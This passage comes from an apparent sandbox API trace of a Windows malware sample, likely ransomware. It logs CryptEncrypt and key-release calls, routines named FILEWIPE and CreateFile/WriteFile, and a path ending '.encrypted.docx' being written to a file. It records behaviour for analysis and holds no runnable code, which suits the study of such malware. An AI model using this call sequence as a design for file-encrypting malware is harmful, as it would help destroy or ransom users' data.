lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.913] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.913] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.913] CryptEncrypt (in: hKey=0xe8f4062aa0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f41ca7f0*, pdwDataLen=0xe8f3dfdf68*=0x4efa, dwBufLen=0x4f00 | out: pbData=0xe8f41ca7f0*, pdwDataLen=0xe8f3dfdf68*=0x4f00) returned 1 [0022.913] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.913] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.913] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.913] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.914] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.914] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.914] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0022.914] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.914] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0022.914] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.914] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.914] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.914] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.914] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0022.914] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.914] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.914] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.916] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.916] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.916] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.917] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.917] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.917] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0022.917] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.917] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.917] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0022.917] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.917] CryptDestroyKey (hKey=0xe8f4062aa0) returned 1 [0022.917] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.917] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.917] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0022.917] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0022.917] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0022.917] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0022.917] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0022.917] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0022.917] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.918] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0022.918] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0022.918] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0022.918] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.918] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.918] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.918] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0022.918] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.918] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0022.918] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.918] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.918] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.918] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.918] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0022.918] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.918] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.918] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0022.918] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0022.918] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0022.918] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.918] CryptReleaseContext (hProv=0xe8f40632e0, dwFlags=0x0) returned 1 [0022.918] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.918] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.918] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0022.918] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.918] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.918] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.918] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.920] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.920] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.920] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0022.920] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.920] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.920] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.920] CharLowerBuffW (in: lpsz="byte[20218]", cchLength=0xb | out: lpsz="byte[20218]") returned 0xb [0022.920] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.920] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0022.920] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.920] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0022.920] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.920] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.920] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.920] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0022.920] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.920] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.920] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.920] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.920] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.921] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.921] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.921] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.921] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.921] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.921] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.921] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.921] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.921] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.921] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.921] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.921] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0022.922] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.922] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.922] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.922] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0022.922] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.922] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.922] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.922] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.922] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.922] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.922] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0022.922] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.922] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.922] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.922] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.923] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.923] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.923] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.923] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0022.923] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.923] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.923] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.924] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.924] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.924] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0022.924] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=1487) returned 1 [0022.924] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0022.924] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0022.924] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0022.924] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x5cf, lpOverlapped=0x0) returned 1 [0022.924] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0022.924] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x5cf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0022.924] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=1487) returned 1 [0022.924] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\K3EBs8.encrypted.docx\r\n", cchWideChar=53, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 53 [0022.924] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\K3EBs8.encrypted.docx\r\n", cchWideChar=53, lpMultiByteStr=0xe8f404ba10, cbMultiByte=53, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\K3EBs8.encrypted.docx\r\n", lpUsedDefaultChar=0x0) returned 53 [0022.924] WriteFile (in: hFile=0x1fc, lpBuffer=0xe8f4051680*, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f4051680*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x34, lpOverlapped=0x0) returned 1 [0022.924] CloseHandle (hObject=0x1fc) returned 1 [0022.925] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.925] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.926] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0022.926] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0022.926] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0022.926] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0022.926] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0022.927] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0022.927] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0022.927] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, 